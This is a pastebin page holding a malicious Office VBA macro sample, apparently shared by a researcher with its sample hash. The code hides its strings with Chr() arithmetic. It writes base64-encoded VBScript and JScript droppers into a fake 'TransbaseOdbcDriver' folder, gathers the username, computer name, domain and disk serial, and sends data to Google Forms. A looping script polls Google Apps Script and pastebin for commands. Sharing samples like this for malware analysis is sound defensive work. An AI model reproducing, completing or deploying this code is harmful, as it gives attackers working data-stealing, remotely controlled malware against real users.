SHOW:
|
|
- or go back to the newest paste.
1 | ## uploaded by @JohnLaTwc | |
2 | ## original sample hash: 111fc266692af396a0db176c49455acef907bb6d16715f5a6a3517362e218658 | |
3 | ===== macro =================================================================== | |
4 | Function AL8vhpb5hk3w(AO3opbjnrp9) | |
5 | Dim AM1wg7xyr, AN9vxh3lbsda | |
6 | Set AM1wg7xyr = CreateObject((Chr(-57 + 134) & Chr(-21 + 136) & Chr(-26 + 146) & Chr(83 + 26) & Chr(-76 + 184) & Chr(91 + -41) & Chr(32 + 14) & Chr(15 + 53) & Chr(-16 + 95) & Chr(-69 + 146) & Chr(20 + 48) & Chr(-81 + 192) & Chr(97 + 2) & Chr(29 + 88) & Chr(23 + 86) & Chr(26 + 75) & Chr(-28 + 138) & Chr(-5 + 121) & Chr(54 + -8) & Chr(10 + 41) & Chr(74 + -28) & Chr(45 + 3))) | |
7 | Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(-90 + 188) & Chr(52 + 45) & Chr(7 + 108) & Chr(-17 + 118) & Chr(-53 + 107) & Chr(0 + 52))) | |
8 | AN9vxh3lbsda.dataType = (Chr(-91 + 189) & Chr(-44 + 149) & Chr(-63 + 173) & Chr(61 + -15) & Chr(-85 + 183) & Chr(5 + 92) & Chr(28 + 87) & Chr(100 + 1) & Chr(100 + -46) & Chr(34 + 18)) | |
9 | AN9vxh3lbsda.nodeTypedValue = AR4ql6nqd(AO3opbjnrp9) | |
10 | AL8vhpb5hk3w = AN9vxh3lbsda.Text | |
11 | Set AN9vxh3lbsda = Nothing | |
12 | Set AM1wg7xyr = Nothing | |
13 | End Function | |
14 | ||
15 | Function AP6fuezipn4(ByVal AQ4ilbevk2j) | |
16 | Dim AM1wg7xyr, AN9vxh3lbsda | |
17 | Set AM1wg7xyr = CreateObject((Chr(10 + 67) & Chr(85 + 30) & Chr(85 + 35) & Chr(-97 + 206) & Chr(-64 + 172) & Chr(61 + -11) & Chr(-42 + 88) & Chr(-77 + 145) & Chr(-93 + 172) & Chr(-52 + 129) & Chr(39 + 29) & Chr(87 + 24) & Chr(-70 + 169) & Chr(-33 + 150) & Chr(12 + 97) & Chr(-13 + 114) & Chr(33 + 77) & Chr(-22 + 138) & Chr(-65 + 111) & Chr(27 + 24) & Chr(68 + -22) & Chr(71 + -23))) | |
18 | Set AN9vxh3lbsda = AM1wg7xyr.CreateElement((Chr(5 + 93) & Chr(-68 + 165) & Chr(51 + 64) & Chr(92 + 9) & Chr(-100 + 154) & Chr(46 + 6))) | |
19 | AN9vxh3lbsda.dataType = (Chr(67 + 31) & Chr(-17 + 122) & Chr(4 + 106) & Chr(-51 + 97) & Chr(-9 + 107) & Chr(78 + 19) & Chr(97 + 18) & Chr(-27 + 128) & Chr(48 + 6) & Chr(54 + -2)) | |
20 | AN9vxh3lbsda.Text = AQ4ilbevk2j | |
21 | If AQ4ilbevk2j = "" Then | |
22 | AP6fuezipn4 = "" | |
23 | Else | |
24 | AP6fuezipn4 = AV0kftndmk(AN9vxh3lbsda.nodeTypedValue) | |
25 | End If | |
26 | Set AN9vxh3lbsda = Nothing | |
27 | Set AM1wg7xyr = Nothing | |
28 | End Function | |
29 | ||
30 | Function AR4ql6nqd(Text) | |
31 | Const AS9fvfrob = 2 | |
32 | Const AT6yshkqzy = 1 | |
33 | Dim AU3sjrvsqt3j | |
34 | Set AU3sjrvsqt3j = CreateObject((Chr(-94 + 159) & Chr(3 + 65) & Chr(-12 + 91) & Chr(60 + 8) & Chr(-85 + 151) & Chr(38 + 8) & Chr(-2 + 85) & Chr(20 + 96) & Chr(68 + 46) & Chr(83 + 18) & Chr(-71 + 168) & Chr(62 + 47))) | |
35 | AU3sjrvsqt3j.Type = AS9fvfrob | |
36 | AU3sjrvsqt3j.Charset = (Chr(17 + 100) & Chr(56 + 59) & Chr(71 + -26) & Chr(-16 + 113) & Chr(-88 + 203) & Chr(-14 + 113) & Chr(48 + 57) & Chr(-19 + 124)) | |
37 | AU3sjrvsqt3j.Open | |
38 | AU3sjrvsqt3j.WriteText Text | |
39 | AU3sjrvsqt3j.Position = 0 | |
40 | AU3sjrvsqt3j.Type = AT6yshkqzy | |
41 | AU3sjrvsqt3j.Position = 0 | |
42 | AR4ql6nqd = AU3sjrvsqt3j.Read | |
43 | Set AU3sjrvsqt3j = Nothing | |
44 | End Function | |
45 | ||
46 | Function AV0kftndmk(Binary) | |
47 | Const AS9fvfrob = 2 | |
48 | Const AT6yshkqzy = 1 | |
49 | Dim AU3sjrvsqt3j | |
50 | Set AU3sjrvsqt3j = CreateObject((Chr(-6 + 71) & Chr(89 + -21) & Chr(52 + 27) & Chr(61 + 7) & Chr(39 + 27) & Chr(-9 + 55) & Chr(56 + 27) & Chr(-52 + 168) & Chr(39 + 75) & Chr(5 + 96) & Chr(57 + 40) & Chr(22 + 87))) | |
51 | AU3sjrvsqt3j.Type = AT6yshkqzy | |
52 | AU3sjrvsqt3j.Open | |
53 | AU3sjrvsqt3j.Write Binary | |
54 | AU3sjrvsqt3j.Position = 0 | |
55 | AU3sjrvsqt3j.Type = AS9fvfrob | |
56 | AU3sjrvsqt3j.Charset = (Chr(8 + 109) & Chr(-23 + 138) & Chr(1 + 44) & Chr(-78 + 175) & Chr(39 + 76) & Chr(-16 + 115) & Chr(-80 + 185) & Chr(92 + 13)) | |
57 | AV0kftndmk = AU3sjrvsqt3j.ReadText | |
58 | Set AU3sjrvsqt3j = Nothing | |
59 | End Function | |
60 | ||
61 | ||
62 | ||
63 | ||
64 | ||
65 | ||
66 | Function getOS() As String | |
67 | On Error Resume Next | |
68 | Dim OS | |
69 | For Each OS In GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem") | |
70 | getOS = OS.Caption | |
71 | Next OS | |
72 | Set OS = Nothing | |
73 | End Function | |
74 | ||
75 | Public Function IsWin32OrWin64() As String | |
76 | On Error Resume Next | |
77 | Dim proc_query As String | |
78 | Dim proc_results As Object | |
79 | Dim info As Object | |
80 | ||
81 | proc_query = "SELECT * FROM Win32_Processor" | |
82 | Set proc_results = GetObject("Winmgmts:").ExecQuery(proc_query) | |
83 | For Each info In proc_results | |
84 | IsWin32OrWin64 = info.AddressWidth & "-bit" | |
85 | Next info | |
86 | End Function | |
87 | ||
88 | Function clearStr(Value As String) As String | |
89 | On Error Resume Next | |
90 | Dim RE As Object | |
91 | Set RE = CreateObject("VBScript.RegExp") | |
92 | RE.ignoreCase = True | |
93 | RE.Global = True | |
94 | RE.Pattern = "[^\w]+" | |
95 | clearStr = RE.Replace(Value, "") | |
96 | End Function | |
97 | Function cuid() As String | |
98 | On Error Resume Next | |
99 | Dim giac: giac = "1" | |
100 | Dim uuid: uuid = "1" | |
101 | ||
102 | Dim FSO, D, Serial | |
103 | Set FSO = CreateObject("Scripting.FileSystemObject") | |
104 | strDrive = FSO.GetDriveName(FSO.GetSpecialFolder(0)) | |
105 | Set D = FSO.GetDrive(strDrive) | |
106 | Serial = D.SerialNumber | |
107 | ||
108 | Dim result As String | |
109 | result = AL8vhpb5hk3w("" & Serial) | |
110 | result = Mid(clearStr(result), 1, 20) | |
111 | cuid = uuid & "." & giac & "." & result | |
112 | End Function | |
113 | ||
114 | Function GetUserData() As String | |
115 | On Error Resume Next | |
116 | GetUserData = "UserName: " & Environ$("USERNAME") _ | |
117 | & " | " & "ComputerName: " & Environ$("COMPUTERNAME") _ | |
118 | & " | " & "UserDomain: " & Environ$("USERDOMAIN") | |
119 | End Function | |
120 | ||
121 | Function sendFormData(Value As String) As Boolean | |
122 | Dim formkey: formkey = "1F1zY2cODJxkCCorfv42kif4mxDsZ__BpXourgrkCtyo" | |
123 | Dim entry: entry = "entry.766326787" | |
124 | Dim rc As Variant | |
125 | On Error Resume Next | |
126 | Dim HttpRequest As Object | |
127 | Set HttpRequest = CreateObject("MSXML2.XMLHTTP") | |
128 | If Err.Number <> 0 Then | |
129 | sendFormData = False | |
130 | Set HttpRequest = Nothing | |
131 | Exit Function | |
132 | End If | |
133 | On Error GoTo EndNow | |
134 | HttpRequest.Open "POST", "https://docs.google.com/forms/d/" & formkey & "/formResponse", False | |
135 | HttpRequest.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" | |
136 | HttpRequest.Send (entry & "=" & Value) | |
137 | If HttpRequest.ReadyState <> 4 Then | |
138 | HttpRequest.WaitForResponse 30 | |
139 | End If | |
140 | rc = HttpRequest.StatusText | |
141 | If rc = "OK" Then | |
142 | sendFormData = True | |
143 | Else | |
144 | sendFormData = False | |
145 | End If | |
146 | EndNow: | |
147 | Set HttpRequest = Nothing | |
148 | End Function | |
149 | ||
150 | Function CreateDir(YourPath As String) As Boolean | |
151 | On Error GoTo EndNow | |
152 | If Dir(YourPath, vbDirectory) = "" Then | |
153 | MkDir (YourPath) | |
154 | End If | |
155 | CreateDir = True | |
156 | Exit Function | |
157 | EndNow: | |
158 | CreateDir = False | |
159 | End Function | |
160 | ||
161 | Sub folderInit() | |
162 | On Error Resume Next | |
163 | Set sh = CreateObject("WScript.Shell") | |
164 | Dim FileNumber, figName | |
165 | Dim WorkPath As String | |
166 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") | |
167 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
168 | Dim statMkDir As Boolean | |
169 | statMkDir = CreateDir(WorkPath) | |
170 | If statMkDir Then | |
171 | FileNumber = FreeFile | |
172 | figName = WorkPath & "\LanCradDriver.ini" | |
173 | Open figName For Output As #FileNumber | |
174 | Close #FileNumber | |
175 | End If | |
176 | End Sub | |
177 | ||
178 | Sub ggl_runer() | |
179 | On Error Resume Next | |
180 | Dim f: f = "RGltIG9iakZTTywgb2JqU2hlbGwsIHN0ckZpbGUsIFJlYWRBbGxUZXh0RmlsZQ0KU2V0IG9iakZT" | |
181 | f = f & "TyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IG9ialNo" | |
182 | f = f & "ZWxsID0gV1NjcmlwdC5DcmVhdGVPYmplY3QoICJXU2NyaXB0LlNoZWxsIiApDQpzdHJGaWxlID0g" | |
183 | f = f & "b2JqU2hlbGwuRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzKCIlQUxMVVNFUlNQUk9GSUxFJVxUcmFu" | |
184 | f = f & "c2Jhc2VPZGJjRHJpdmVyXExhbkNyYWREcml2ZXIuaW5pIikNClNldCBvYmpGaWxlID0gb2JqRlNP" | |
185 | f = f & "Lk9wZW5UZXh0RmlsZShzdHJGaWxlLDEsZmFsc2UsLTEpDQpJZiBvYmpGaWxlLkF0RW5kT2ZTdHJl" | |
186 | f = f & "YW0gVGhlbg0KCVJlYWRBbGxUZXh0RmlsZSA9ICIiDQpFbHNlDQoJUmVhZEFsbFRleHRGaWxlID0g" | |
187 | f = f & "b2JqRmlsZS5SZWFkQWxsDQpFbmQgSWYNCm9iakZpbGUuQ2xvc2UNCkV4ZWN1dGVHbG9iYWwgUmVh" | |
188 | f = f & "ZEFsbFRleHRGaWxl" | |
189 | ||
190 | Set sh = CreateObject("WScript.Shell") | |
191 | Dim FileNumber, figName | |
192 | Dim WorkPath As String | |
193 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") | |
194 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
195 | Dim statMkDir As Boolean | |
196 | statMkDir = CreateDir(WorkPath) | |
197 | If statMkDir Then | |
198 | FileNumber = FreeFile | |
199 | figName = WorkPath & "\LanCradDriver.vbs" | |
200 | Open figName For Output As #FileNumber | |
201 | Print #FileNumber, AP6fuezipn4(f) | |
202 | Close #FileNumber | |
203 | End If | |
204 | End Sub | |
205 | ||
206 | Sub ggl_starter() | |
207 | On Error Resume Next | |
208 | Dim f: f = "RGltIG9ialNoZWxsLHBhdGgNClNldCBvYmpTaGVsbCA9IFdTY3JpcHQuQ3JlYXRlT2JqZWN0KCAi" | |
209 | f = f & "V1NjcmlwdC5TaGVsbCIgKQ0KcGF0aCA9IG9ialNoZWxsLkV4cGFuZEVudmlyb25tZW50U3RyaW5n" | |
210 | f = f & "cygiJUFMTFVTRVJTUFJPRklMRSVcVHJhbnNiYXNlT2RiY0RyaXZlclxUcmFuc2Jhc2VPZGJjRHJp" | |
211 | f = f & "dmVyLmpzIikNCnBhdGggPSAiY21kLmV4ZSAvayB3c2NyaXB0LmV4ZSAiIiIgJiBwYXRoICYgIiIi" | |
212 | f = f & "Ig0Kb2JqU2hlbGwuUnVuIHBhdGgsIDAsIHRydWUgDQpTZXQgb2JqU2hlbGwgPSBOb3RoaW5n" | |
213 | Set sh = CreateObject("WScript.Shell") | |
214 | Dim FileNumber, figName | |
215 | Dim WorkPath As String | |
216 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") | |
217 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
218 | Dim statMkDir As Boolean | |
219 | statMkDir = CreateDir(WorkPath) | |
220 | If statMkDir Then | |
221 | FileNumber = FreeFile | |
222 | figName = WorkPath & "\starter.vbs" | |
223 | Open figName For Output As #FileNumber | |
224 | Print #FileNumber, AP6fuezipn4(f) | |
225 | Close #FileNumber | |
226 | End If | |
227 | End Sub | |
228 | ||
229 | Public Sub ggl_hex() | |
230 | On Error Resume Next | |
231 | Dim f: f = "dmFyIG9ialNXYmVtU2VydmljZXNFeCA9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXR" | |
232 | f = f & "pb25MZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgY29sbFNXYm" | |
233 | f = f & "VtT2JqZWN0U2V0ID0gb2JqU1diZW1TZXJ2aWNlc0V4LkV4ZWNRdWVyeSggIlNFTEVDVCBOYW1lL" | |
234 | f = f & "CBDb21tYW5kTGluZSwgUHJvY2Vzc0lEIEZST00gV2luMzJfUHJvY2VzcyBXSEVSRSBOYW1lIExJ" | |
235 | f = f & "S0UgJyVbY3ddc2NyaXB0LmV4ZScgQU5EIENvbW1hbmRMaW5lIExJS0UgJyVbY3ddc2NyaXB0JSI" | |
236 | f = f & "gKyBXU2NyaXB0LlNjcmlwdE5hbWUgKyAiJSciLCAiV1FMIiwgMCk7DQppZihjb2xsU1diZW1PYm" | |
237 | f = f & "plY3RTZXQuQ291bnQgPiAxKXsgV1NjcmlwdC5RdWl0KCk7IH0NCg0KdmFyIEJhc2U2NCA9IHsNC" | |
238 | f = f & "iANCiAgLy8gcHJpdmF0ZSBwcm9wZXJ0eQ0KICBfa2V5U3RyOiAiQUJDREVGR0hJSktMTU5PUFFS" | |
239 | f = f & "U1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iLA0KIA0KICA" | |
240 | f = f & "vLyBwdWJsaWMgbWV0aG9kIGZvciBlbmNvZGluZw0KICBlbmNvZGU6IGZ1bmN0aW9uIChpbnB1dC" | |
241 | f = f & "kgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMywgZW5jM" | |
242 | f = f & "SwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogICAgaW5wdXQgPSBCYXNl" | |
243 | f = f & "NjQuX3V0ZjhfZW5jb2RlKGlucHV0KTsNCiANCiAgICB3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCk" | |
244 | f = f & "gew0KIA0KICAgICAgY2hyMSA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsNCiAgICAgIGNocjIgPS" | |
245 | f = f & "BpbnB1dC5jaGFyQ29kZUF0KGkrKyk7DQogICAgICBjaHIzID0gaW5wdXQuY2hhckNvZGVBdChpK" | |
246 | f = f & "yspOw0KIA0KICAgICAgZW5jMSA9IGNocjEgPj4gMjsNCiAgICAgIGVuYzIgPSAoKGNocjEgJiAz" | |
247 | f = f & "KSA8PCA0KSB8IChjaHIyID4+IDQpOw0KICAgICAgZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB" | |
248 | f = f & "8IChjaHIzID4+IDYpOw0KICAgICAgZW5jNCA9IGNocjMgJiA2MzsNCiANCiAgICAgIGlmIChpc0" | |
249 | f = f & "5hTihjaHIyKSkgew0KICAgICAgICBlbmMzID0gZW5jNCA9IDY0Ow0KICAgICAgfSBlbHNlIGlmI" | |
250 | f = f & "Chpc05hTihjaHIzKSkgew0KICAgICAgICBlbmM0ID0gNjQ7DQogICAgICB9DQogDQogICAgICBv" | |
251 | f = f & "dXRwdXQgPSBvdXRwdXQgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzEpICsgdGhpcy5fa2V5U3R" | |
252 | f = f & "yLmNoYXJBdChlbmMyKSArIHRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdH" | |
253 | f = f & "IuY2hhckF0KGVuYzQpOw0KIA0KICAgIH0NCiANCiAgICByZXR1cm4gb3V0cHV0Ow0KICB9LA0KI" | |
254 | f = f & "A0KICAvLyBwdWJsaWMgbWV0aG9kIGZvciBkZWNvZGluZw0KICBkZWNvZGU6IGZ1bmN0aW9uIChp" | |
255 | f = f & "bnB1dCkgew0KICAgIHZhciBvdXRwdXQgPSAiIjsNCiAgICB2YXIgY2hyMSwgY2hyMiwgY2hyMzs" | |
256 | f = f & "NCiAgICB2YXIgZW5jMSwgZW5jMiwgZW5jMywgZW5jNDsNCiAgICB2YXIgaSA9IDA7DQogDQogIC" | |
257 | f = f & "AgaW5wdXQgPSBpbnB1dC5yZXBsYWNlKC9bXkEtWmEtejAtOVwrXC9cPV0vZywgIiIpOw0KIA0KI" | |
258 | f = f & "CAgIHdoaWxlIChpIDwgaW5wdXQubGVuZ3RoKSB7DQogDQogICAgICBlbmMxID0gdGhpcy5fa2V5" | |
259 | f = f & "U3RyLmluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KICAgICAgZW5jMiA9IHRoaXMuX2tleVN" | |
260 | f = f & "0ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCiAgICAgIGVuYzMgPSB0aGlzLl9rZXlTdH" | |
261 | f = f & "IuaW5kZXhPZihpbnB1dC5jaGFyQXQoaSsrKSk7DQogICAgICBlbmM0ID0gdGhpcy5fa2V5U3RyL" | |
262 | f = f & "mluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KIA0KICAgICAgY2hyMSA9IChlbmMxIDw8IDIp" | |
263 | f = f & "IHwgKGVuYzIgPj4gNCk7DQogICAgICBjaHIyID0gKChlbmMyICYgMTUpIDw8IDQpIHwgKGVuYzM" | |
264 | f = f & "gPj4gMik7DQogICAgICBjaHIzID0gKChlbmMzICYgMykgPDwgNikgfCBlbmM0Ow0KIA0KICAgIC" | |
265 | f = f & "Agb3V0cHV0ID0gb3V0cHV0ICsgU3RyaW5nLmZyb21DaGFyQ29kZShjaHIxKTsNCiANCiAgICAgI" | |
266 | f = f & "GlmIChlbmMzICE9IDY0KSB7DQogICAgICAgIG91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9t" | |
267 | f = f & "Q2hhckNvZGUoY2hyMik7DQogICAgICB9DQogICAgICBpZiAoZW5jNCAhPSA2NCkgew0KICAgICA" | |
268 | f = f & "gICBvdXRwdXQgPSBvdXRwdXQgKyBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjMpOw0KICAgICAgfQ" | |
269 | f = f & "0KIA0KICAgIH0NCiANCiAgICBvdXRwdXQgPSBCYXNlNjQuX3V0ZjhfZGVjb2RlKG91dHB1dCk7D" | |
270 | f = f & "QogDQogICAgcmV0dXJuIG91dHB1dDsNCiANCiAgfSwNCiANCiAgLy8gcHJpdmF0ZSBtZXRob2Qg" | |
271 | f = f & "Zm9yIFVURi04IGVuY29kaW5nDQogIF91dGY4X2VuY29kZTogZnVuY3Rpb24gKHN0cmluZykgew0" | |
272 | f = f & "KICAgIHN0cmluZyA9IHN0cmluZy5yZXBsYWNlKC9cclxuL2csICJcbiIpOw0KICAgIHZhciB1dG" | |
273 | f = f & "Z0ZXh0ID0gIiI7DQogDQogICAgZm9yICh2YXIgbiA9IDA7IG4gPCBzdHJpbmcubGVuZ3RoOyBuK" | |
274 | f = f & "yspIHsNCiANCiAgICAgIHZhciBjID0gc3RyaW5nLmNoYXJDb2RlQXQobik7DQogDQogICAgICBp" | |
275 | f = f & "ZiAoYyA8IDEyOCkgew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoYyk" | |
276 | f = f & "7DQogICAgICB9IGVsc2UgaWYgKChjID4gMTI3KSAmJiAoYyA8IDIwNDgpKSB7DQogICAgICAgIH" | |
277 | f = f & "V0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyA+PiA2KSB8IDE5Mik7DQogICAgICAgI" | |
278 | f = f & "HV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9" | |
279 | f = f & "IGVsc2Ugew0KICAgICAgICB1dGZ0ZXh0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoKGMgPj4gMTI" | |
280 | f = f & "pIHwgMjI0KTsNCiAgICAgICAgdXRmdGV4dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyA+Pi" | |
281 | f = f & "A2KSAmIDYzKSB8IDEyOCk7DQogICAgICAgIHV0ZnRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ" | |
282 | f = f & "SgoYyAmIDYzKSB8IDEyOCk7DQogICAgICB9DQogDQogICAgfQ0KIA0KICAgIHJldHVybiB1dGZ0" | |
283 | f = f & "ZXh0Ow0KICB9LA0KIA0KICAvLyBwcml2YXRlIG1ldGhvZCBmb3IgVVRGLTggZGVjb2RpbmcNCiA" | |
284 | f = f & "gX3V0ZjhfZGVjb2RlOiBmdW5jdGlvbiAodXRmdGV4dCkgew0KICAgIHZhciBzdHJpbmcgPSAiIj" | |
285 | f = f & "sNCiAgICB2YXIgaSA9IDA7DQogICAgdmFyIGMgPSBjMSA9IGMyID0gMDsNCiANCiAgICB3aGlsZ" | |
286 | f = f & "SAoaSA8IHV0ZnRleHQubGVuZ3RoKSB7DQogDQogICAgICBjID0gdXRmdGV4dC5jaGFyQ29kZUF0" | |
287 | f = f & "KGkpOw0KIA0KICAgICAgaWYgKGMgPCAxMjgpIHsNCiAgICAgICAgc3RyaW5nICs9IFN0cmluZy5" | |
288 | f = f & "mcm9tQ2hhckNvZGUoYyk7DQogICAgICAgIGkrKzsNCiAgICAgIH0gZWxzZSBpZiAoKGMgPiAxOT" | |
289 | f = f & "EpICYmIChjIDwgMjI0KSkgew0KICAgICAgICBjMiA9IHV0ZnRleHQuY2hhckNvZGVBdChpICsgM" | |
290 | f = f & "Sk7DQogICAgICAgIHN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYyAmIDMxKSA8PCA2" | |
291 | f = f & "KSB8IChjMiAmIDYzKSk7DQogICAgICAgIGkgKz0gMjsNCiAgICAgIH0gZWxzZSB7DQogICAgICA" | |
292 | f = f & "gIGMyID0gdXRmdGV4dC5jaGFyQ29kZUF0KGkgKyAxKTsNCiAgICAgICAgYzMgPSB1dGZ0ZXh0Lm" | |
293 | f = f & "NoYXJDb2RlQXQoaSArIDIpOw0KICAgICAgICBzdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZ" | |
294 | f = f & "SgoKGMgJiAxNSkgPDwgMTIpIHwgKChjMiAmIDYzKSA8PCA2KSB8IChjMyAmIDYzKSk7DQogICAg" | |
295 | f = f & "ICAgIGkgKz0gMzsNCiAgICAgIH0NCiANCiAgICB9DQogDQogICAgcmV0dXJuIHN0cmluZzsNCiA" | |
296 | f = f & "gfQ0KfQ0KDQppZighQ3JlYXRlRGlyKCkpV1NjcmlwdC5RdWl0KCk7DQoNCnZhciBnaWFjID0gIj" | |
297 | f = f & "EiOw0KdmFyIHV1aWQgPSAiMSI7DQp2YXIgZ3VpZCA9IENVSUQoKTsNCgkNCnZhciBzZXR0dGluZ" | |
298 | f = f & "0FyciA9IGZhbHNlOw0KDQpkbyB7DQoJDQoJaWYgKCBzZXR0dGluZ0FyciApIHsNCgkgICAgR2V0" | |
299 | f = f & "U291cmNlQ29kZShzZXR0dGluZ0Fyci5zcHJlYWRzaGVldGtleSwgc2V0dHRpbmdBcnIuZm9ybWt" | |
300 | f = f & "leSwgc2V0dHRpbmdBcnIuZW50cnkpOw0KCX1lbHNlew0KCQlzZXR0dGluZ0FyciA9IExvYWRMaW" | |
301 | f = f & "5rU2V0dGluZ3MoKTsJDQoJfQ0KCVdTY3JpcHQuU2xlZXAoMTAwMCo2MCpyYW5kSW50KDEsMikpO" | |
302 | f = f & "w0KfQ0Kd2hpbGUgKDEpOw0KZnVuY3Rpb24gcmFuZEludChtaW4sIG1heCl7DQogIHJldHVybiBN" | |
303 | f = f & "YXRoLnJvdW5kKE1hdGgucmFuZG9tKCkqKG1heC1taW4pK21pbik7DQp9DQoNCmZ1bmN0aW9uIEx" | |
304 | f = f & "vYWRMaW5rU2V0dGluZ3MoKSB7DQoJdmFyIGdvX2NvbSA9IEluZXRSZWFkKCJodHRwczovL3Njcm" | |
305 | f = f & "lwdC5nb29nbGUuY29tL21hY3Jvcy9zL0FLZnljYnpvSURyU3RTZWI1aUptd3N4R1pCdm9jc3c0Z" | |
306 | f = f & "GEyRlp3MF9mcU9rUkFnd3pIN2gyYUUvZXhlYyIrICI/YmlkPSIgKyBndWlkKTsNCgl0cnkgew0K" | |
307 | f = f & "CQlpZiggZ29fY29tWydzdGF0J10gPj0gMjAwICYmICBnb19jb21bJ3N0YXQnXSA8IDMwMCl7DQo" | |
308 | f = f & "JCQl2YXIgY21kX3R4dCA9IGdvX2NvbVsndGV4dCddOw0KCQkJdmFyIHNldHRpbmdzQXJyID0gY2" | |
309 | f = f & "1kX3R4dC5tYXRjaCggLyxcXHgyMnVzZXJIdG1sXFx4MjI6XFx4MjIoLispXFx4MjIsXFx4MjJuY" | |
310 | f = f & "2MvICk7DQoJCQl2YXIgc2V0dGluZyA9IHNwbGl0KHNldHRpbmdzQXJyWzFdLCckJCQnLDMpOw0K" | |
311 | f = f & "CQkJaWYgKHNldHRpbmcubGVuZ3RoID09IDMpIHsgDQoJCQkJcmV0dXJuIHsNCgkJCQkJICJzcHJ" | |
312 | f = f & "lYWRzaGVldGtleSI6IHNldHRpbmdbMF0NCgkJCQkJLCJmb3Jta2V5Ijogc2V0dGluZ1sxXQ0KCQ" | |
313 | f = f & "kJCQksImVudHJ5Ijogc2V0dGluZ1syXSANCgkJCQl9OwkJDQoJCQl9DQoJCQl2YXIgZm9ybWtle" | |
314 | f = f & "VJlZyA9ICIxQlp1UDNWWVFqTEFJNTlEcF9POXZDSDFrZ19nUU52aEl2di1Ca21wQlRaNCI7DQoJ" | |
315 | f = f & "CQl2YXIgZW50cnlSZWcgPSAiZW50cnkuMjAyNTg4NTkzMiI7DQoJCQlMb2dJbmV0KGd1aWQsZm9" | |
316 | f = f & "ybWtleVJlZyxlbnRyeVJlZyk7CQkJDQoJCX0NCgl9IGNhdGNoIChlKSB7fQ0KCXJldHVybiBmYW" | |
317 | f = f & "xzZTsJDQp9CQkNCg0KZnVuY3Rpb24gR2V0U291cmNlQ29kZShhc3ByZWFkc2hlZXRrZXksYWZvc" | |
318 | f = f & "m1rZXksYWVudHJ5KSB7DQoNCiAgICAgICAgdmFyIEdsb2JhbE9iamVjdCA9IHRoaXM7DQogICAg" | |
319 | f = f & "ICAgIHZhciBGU08gPSBuZXcgQWN0aXZlWE9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmp" | |
320 | f = f & "lY3QiKTsNCiAgICAgICAgdmFyIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcH" | |
321 | f = f & "QuU2hlbGwiKTsNCgkJDQogICAgICAgIHZhciBmb3Jta2V5ID0gYWZvcm1rZXk7DQoJCXZhciBlb" | |
322 | f = f & "nRyeSA9IGFlbnRyeTsNCiAgICAgICAgdmFyIHNwcmVhZHNoZWV0a2V5ID0gYXNwcmVhZHNoZWV0" | |
323 | f = f & "a2V5Ow0KDQogICAgICAgIHZhciBpbnRlcnZhbE1pbiA9IDMwOw0KICAgICAgICB2YXIgaW50ZXJ" | |
324 | f = f & "2YWxNYXggPSA1MDsNCiAgICAgICAgdmFyIGJvdGNsYXNzID0gR2VuZXJhdGVTdHJpbmcoOCk7DQ" | |
325 | f = f & "ogICAgICAgIHZhciBsYXN0ID0gVGV4dEZpbGVSZWFkKCIlQUxMVVNFUlNQUk9GSUxFJVxcVHJhb" | |
326 | f = f & "nNiYXNlT2RiY0RyaXZlclxcZHR0c2cudHh0Iik7DQogICAgICAgIHZhciB2ZXJzaW9uID0gIjEu" | |
327 | f = f & "MCI7DQoJCQ0KCQl2YXIgbGlua1BCID0gImh0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L01mUVY1ZTZ" | |
328 | f = f & "SIjsNCgkJdmFyIGtleVBhdGggPSAiSEtFWV9DVVJSRU5UX1VTRVJcXFNvZnR3YXJlXFxNaWNyb3" | |
329 | f = f & "NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxsYXN0cyI7CQkNCgkJDQogICAgICAgIFdza" | |
330 | f = f & "FNoZWxsLkN1cnJlbnREaXJlY3RvcnkgPSBHZXRTY3JpcHREaXIoKTsNCiAgICAgICAgTG9nKCk7" | |
